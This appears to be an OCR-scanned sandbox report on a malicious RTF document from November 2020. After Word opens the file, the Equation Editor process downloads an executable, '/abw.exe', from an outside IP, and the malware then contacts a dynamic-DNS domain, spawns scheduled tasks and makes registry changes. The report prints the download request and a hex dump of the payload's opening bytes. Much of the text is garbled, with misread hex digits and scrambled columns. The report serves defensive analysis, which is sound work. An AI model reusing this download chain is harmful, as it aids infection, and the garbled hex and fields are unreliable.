Nov 18, 2020 8.8.8.8 192.168.2.22 Oxfeee No error (0) swryijgrve 192.253.246.143 A (IP address) IN (0x0001)
11:56:47.576034069 sgkopnmcde
CET rtvgdswbvm
ophtfdczxs
.ydns.eu
Nov 18, 2020 8.8.8.8 192.168.2.22 0xa78b No error (0) swryijgrve 192.253.246.143 A (IP address) IN (0x0001)
11:57:12.708713055 sgkopnmcde
CET rtvgdswbvm
ophtfdczxs
.ydns.eu

HTTP Request Dependency Graph

e 151.80.8.30

HTTP Packets

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 151.80.8.30 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
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kBytes

Timestamp transferred Direction Data
Nov 18, 2020 0 ouT GET /abw.exe HTTP/1.1
11:54:55.542629957 CET Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: 151.80.8.30

Connection: Keep-Alive

Nov 18, 2020 1 IN HTTP/1.1 200 OK

11:54:55.568844080 CET Date: Wed, 18 Nov 2020 18:54:53 GMT
Server: Apache/2.4.46 (Win64) OpenSSL/1.1.1g PHP/7.4.11
Last-Modified: Tue, 17 Nov 2020 23:24:55 GMT
ETag: "c3000-5b455cd71533e"
Accept-Ranges: bytes
Content-Length: 798720
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/x-msdownload
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 92 85 b4 5f 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
08 00 00 b4 07 00 00 7a 04 00 00 00 00 00 76 d3 07 00 00 20 00 00 00 e0 07 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 Oc 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 2¢ d3 07 00 4a 00 00 00 00 e0 07 00 15 76 04
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 Oc 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 7¢ b3 07 00
00 20 00 00 00 b4 07 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 15 76 04
00 00 e0 07 00 00 78 04 00 00 b6 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 60 Oc 00 00 02 00 00 00 2e Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 5¢ d3 07 00 00 00 00 00 48 00 00 00 02 00 05 00 Oc 9a 00 00 c4 46 00 00 03 00 00 00 14 01 00 06
d0 e0 00 00 5¢ f2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 O
000 00 00 00 00 00 00 00 4e 2b 03 2b 08 2a 28 b8 00 00 06 2b 6 28 c9 00 00 06 2b f1 36 02 28 16 00 00 Oa 02 28 78 00
00 06 2a 00 00 3e 2b 03 2b 04 2a 02 2b fa 28 83 00 00 06 2b 5 03 30 03 00 49 00 00 00 00 00 00 00 16 2d 0d 2b 27 2¢ 12
2b 26 7b 01 00 00 04 2c 09 2b 20 7b 01 00 00 04 2b 1c 1d 2c e4 1e 2c 8 2b 1b 2b 1c 16 2c 1c 26 26 16 2d dc 2a 03 2b
d6 02 2b d7 02 2b dd 6f 17 00 00 Oa 2b dd 02 2b e2 03 2b el 28 01 00 00 Oa 2b df 00 00 00 1e 02 28 18 00 00 Oa 2a le
02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a
le 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa
2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00
Oa 2a le 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18 00
00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a le 02 28 18
00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28
18 00 00 Oa 2a 1e 02 28 18 00 00 Oa 2a 1le 02 28 18 00 00 Oa 2a le 02 28 18 00 00 Oa 2a le 02 28 18
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL_zv @ @,Jv’ H.text| ".rsrcvx@@.reloc’. @B\HF\N++*
(BS54 (+0I-+ +&{ + {#, 4+, &&HH+0+H+(H(CCCCCECCCCCCECCECCCCCCECCEC e

Code Manipulations

Statistics

Behavior

@ WINWORD.EXE

® EQNEDT32.EXE

@ vbc.exe

@ EQNEDT32.EXE

@ vbc.exe

@ vbc.exe

@ schtasks.exe

@ schtasks.exe
taskeng.exe

@ vbc.exe

@ smtpsvc.exe

@ vic.exe

@ smtpsvc.exe

@ vic.exe

@ vbc.exe

@ vbc.exe

@ vic.exe

@ smtpsvc.exe
smtpsvc.exe

@ vic.exe
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o)

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 2444 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

File Created

File Path
C:\Users\user\AppData\Local\Temp\VBE

File Deleted

File Path
C:\Users\user\Desktop\~$iw2LPAB8i.rtf

C:\Users\user\AppData\Local\Temp\imgs_files\themedata.thm~

11:54:42
18/11/2020

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

false

'C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE' /Automation -Embedding

0x13f040000
1424032 bytes

95C38D04597050285A18F66039EDB456

true
true

C, C++ or other language

high

Access Attributes Options Completion
read data or list device directory file | success or wait 1
directory | synchronous io
synchronize non alert | open

for backup ident

| open reparse

point

Completion

C:\Users\user\AppData\Local\Temp\imgs_files\colorschememapping.xm~

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm~
C:\Users\user\AppData\Local\Temp\imgs.rcv
C:\Users\user\AppData\Local\Temp\~WRL0000.tmp

File Moved

Old File Path
C:\Users\user\AppData\Local\Temp\imgs_files\themedata.thmx

C:\Users\user\AppData\Local\Te
mp\imgs_files\colorschememapping.xml

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xml

C:\Users\user\AppData\Local\Temp\imgs_files\themedata.thm_

C:\Users\user\AppData\Local\Te
mplimgs_files\colorschememapping.xm_

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xm__

File Path

File Read

Copyright null 2020

New File Path

C:\Users\user\AppData\Local\Temp\imgs_files\themedata.thm~..

C:\Users\user\AppData\Local\Te
mp\imgs_files\colorschememapping.xm~

C:\Users\user\AppData\Local\Temp\imgs_files\filelist. xm~m~

C:\Users\user\AppData\Local\Temp\imgs_files\themedata.thmx..

C:\Users\user\AppData\Local\Te
mp\imgs_files\colorschememapping.xml

C:\Users\user\AppData\Local\Temp\imgs_files\filelist.xmImx

Offset Length Value Ascii

success or wait
success or wait
success or wait
success or wait
success or wait

success or wait

Completion
success or wait

success or wait

success or wait
success or wait

success or wait

success or wait

Completion

Source

Count Address

Symbol

7FEE95226B4 CreateDirectoryA

Count

N

Count

Source

Address Symbol

7FEE9449ACO0 unknown
7FEE9449ACO0 unknown
7FEE9449ACO0 unknown
7FEE9449ACO0 unknown
7FEE9449ACO0 unknown

7TFEE9449ACO unknown

Source

Address Symbol

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

7TFEE9449ACO0 unknown

Source
Count Address Symbol
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File Path
C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC
C:\Users\user\AppData\Roaming\Microsoft\UProo\CUSTOM.DIC

Registry Activities

Key Created

Key Path

HKEY_CURRENT_USER\Software\Microsoft\VBA
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0
HKEY_CURRENT_USER\Software\Microsoft\VBA\7.0\Common
HKEY_CURRENT_USER\Software\Microsoft\Office\Common\Offline\Options
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\F8B10

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Place MRU

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Recent Locations
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\Recent Locations\SharePoint

Key Value Created

Key Path Name Type

HKEY_CURRENT_USER\Software\Mic F8B10 binary
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F8B10
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Completion

success or wait

success or wait

Offset Length

unknown 1

unknown 4096
Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Data

success or wait

Completion

Count

P PR R R R R R R R

04 00 00 00 8C 09 00 00 2A 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 69 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 04 00 00 00 69 00 6D 00
67 00 73 00 00 00 00 00 01 00 00 00 00
00 00 00 85 9C 4A C2 E4 BD D6 01 10
8B OF 00 10 8B OF 00 00 00 00 00 DB 04
00 00 02 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
FF FF FF FF 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

Source
Count Address Symbol

1 7FEE93DEC53 ReadFile

1 7TFEE93E6CAC ReadFile

Source
Address

7TFEE945E72B
7TFEE945E72B
7TFEE945E72B
7TFEE9449ACO
7TFEE9449ACO
7TFEE9449ACO
7TFEE9449ACO
7TFEE9449ACO
7TFEE9449ACO
7TFEE9449ACO

Symbol
RegCreateKeyExA
RegCreateKeyExA
RegCreateKeyExA
unknown

unknown

unknown

unknown

unknown

unknown

unknown

Source
Count Address Symbol

1 7TFEE9449ACO0 unknown
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00 00 00 00 00 00 00 00 00 00 00 00 00 Source
Key Path Name Type B2 00 00 00 00 00 00 0000 00 0000  completion Count Address Symbol
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 FF FF FF FF
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEE9449ACO0 unknown
rosoft\Office\14.0\Word\Place MRU

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEE9449ACO0 unknown
rosoft\Office\14.0\Word\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEE9449ACO0 unknown
rosoft\Office\14.0\Word\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.docx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEE9449ACO0 unknown
rosoft\Office\14.0\Word\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.docx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEE9449ACO0 unknown
rosoft\Office\14.0\Word\file mru [©00000000]*C:\Users\user\Desk
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top\3764832265.docx
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top\3013890265.docx
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top\2109793820.docx
HKEY_CURRENT_USER\Software\Mic Item 9 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEE9449ACO0 unknown
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HKEY_CURRENT_USER\Software\Mic
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HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\Place MRU

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru
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Iltem 4
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Item 9

Item 10
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unicode
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unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode
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[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.docx

[FO0000000][T01D1BB6D4B429860]
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[FO0000000][T01D1BB6D4B429860]
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top\7838756049.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.docx

25

25

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
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[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
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[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
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[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.docx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
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[FO0000000][T01D1BB6D4B429860]
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[FO0000000][T01D1BB6D4B429860]
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success or wait
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unknown
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unknown
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HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Word\file mru
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rosoft\Office\14.0\Word\file mru
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HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_LOCAL_MACHINE\SOFT
WARE\Mi
crosoft\Windows\CurrentVersion
\Installer\UserData\S-1-5-18\P
roducts\00004109D30000000100
000000F01FEC\Usage

HKEY_CURRENT_USER\Softwa F8B10

re\Mic
rosoft\Office\14.0\Word\Resili
ency\DocumentRecovery\F8B10
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Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type
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[F00000000][T01D1BB6D4B429860]

[©00000000]*C:\Users\user\Desk
top\8416181845.docx

unicode

[F00000000][T01D1BB6D4B429860]

[©00000000]*C:\Users\user\Desk
top\2874006916.docx

unicode

[F00000000][T01D1BB6D4B429860]

[©00000000]*C:\Users\user\Desk
top\9369051781.docx

unicode

[F00000000][T01D1BB6D4B429860]

[©00000000]*C:\Users\user\Desk
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[©00000000]*C:\Users\user\Desk
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